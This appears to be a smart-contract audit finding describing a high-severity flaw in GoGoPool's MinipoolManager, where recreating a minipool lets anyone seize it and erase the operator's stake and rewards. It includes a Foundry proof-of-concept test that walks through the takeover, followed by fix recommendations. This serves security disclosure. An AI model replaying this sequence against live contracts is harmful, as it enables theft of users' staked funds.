H-01.md

Owner may lose funds if Minipool is recreated before funds are withdrawn

The createMinipool function of the MinipoolManager contract can be used to reinitialize an existing minipool and potentially lose user funds. If the given nodeID has an existing minipool index, then the state for the minipool is reset:

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L242-L247

if (minipoolIndex != -1) {
	requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch);
	resetMinipoolData(minipoolIndex);
	// Also reset initialStartTime as we are starting a whole new validation
	setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".initialStartTime")), 0);
} else {

The check in requireValidStateTransition will succeed if the current status is MinipoolStatus.Withdrawable or MinipoolStatus.Error. During these two stages, node operator funds are still held by the protocol. Withdrawable is the state when Rialto finishes the stake successfully and returns the funds (stake and rewards) to the MinipoolManager, which stores them in the Vault contract. Similarly, Error happens when the multisig notifies an error in the stake and returns the funds to the MinipoolManager.

Impact

If the minipool is recreated before funds are withdrawn, then those funds associated with the node operator (owner of the minipool) will be lost since the createMinipool function will override that state. This can happen accidentally by the node operator, or by a bad actor as the function has no access control in the path that recreated the minipool (i.e. it doesn't verify that the call is performed by the current owner of the minipool).

The owner of the minipool is overwritten in line 259 and staked amount in line 262:

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L259-L262

259		setAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".owner")), msg.sender);
   		setAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".multisigAddr")), multisig);
   		setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpInitialAmt")), msg.value);
262		setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpAmt")), msg.value);

The call to resetMinipoolData (line 244) will clear any pending reward also:

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L691-L693

function resetMinipoolData(int256 index) private {
	...
	setUint(keccak256(abi.encodePacked("minipool.item", index, ".avaxTotalRewardAmt")), 0);
	setUint(keccak256(abi.encodePacked("minipool.item", index, ".avaxNodeOpRewardAmt")), 0);
	setUint(keccak256(abi.encodePacked("minipool.item", index, ".avaxLiquidStakerRewardAmt")), 0);
	...
}

PoC

In the following test, an attacker reinitialized the minipool after it gets to the Withdrawable state. Node operator loses funds and control of the minipool.

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.17;

import "./utils/BaseTest.sol";
import {FixedPointMathLib} from "@rari-capital/solmate/src/utils/FixedPointMathLib.sol";

contract AuditTest is BaseTest {
	using FixedPointMathLib for uint256;
	address private nodeOp;
	address private attacker;

	function setUp() public override {
		super.setUp();
		nodeOp = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT);
		attacker = getActorWithTokens("attacker", MAX_AMT, MAX_AMT);
	}

	function test_MinipoolManager_FundsLost() public {
		// Setup minipool and get to the withdrawable state by following the normal steps
		address liqStaker = getActorWithTokens("liqStaker", MAX_AMT, MAX_AMT);
		vm.prank(liqStaker);
		ggAVAX.depositAVAX{value: MAX_AMT}();

		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;

		vm.startPrank(nodeOp);

		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(100 ether);
		MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		vm.stopPrank();

		vm.startPrank(address(rialto));

		minipoolMgr.claimAndInitiateStaking(mp.nodeID);
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);

		skip(duration);

		uint256 rewards = 10 ether;
		deal(address(rialto), address(rialto).balance + rewards);
		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, rewards);

		vm.stopPrank();

		// Now minipool is in "withdrawable" state, attacker recreates minipool by calling createMinipool with nodeID
		vm.startPrank(attacker);

		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(100 ether);

		minipoolMgr.createMinipool{value: depositAmt}(mp.nodeID, duration, mp.delegationFee, avaxAssignmentRequest);

		// Attacker now owns the minipool, note that recreating the minipool wiped also the existing funds from nodeOp since state is overwritten in the createMinipool function
		MinipoolManager.Minipool memory updatedMp = minipoolMgr.getMinipool(mp.index);
		assertEq(updatedMp.status, uint256(MinipoolStatus.Prelaunch));
		assertEq(updatedMp.owner, attacker);
		assertEq(updatedMp.avaxTotalRewardAmt, 0);

		vm.stopPrank();
	}
}

Recommendation

Ensure that funds have been withdrawn before allowing the minipool to be reinitialized. This means limiting the transitions between Error and Withdrawable to Prelaunch, the valid transitions should be from the Canceled state (funds are returned to the node operator when the minipool is canceled) or from the Finished state, after owner has withdrawn funds. Care must be taken also when dealing with the Error state.

Also, if the minipool is reinitialized, consider adding a check to validate that the caller is the current owner of the minipool.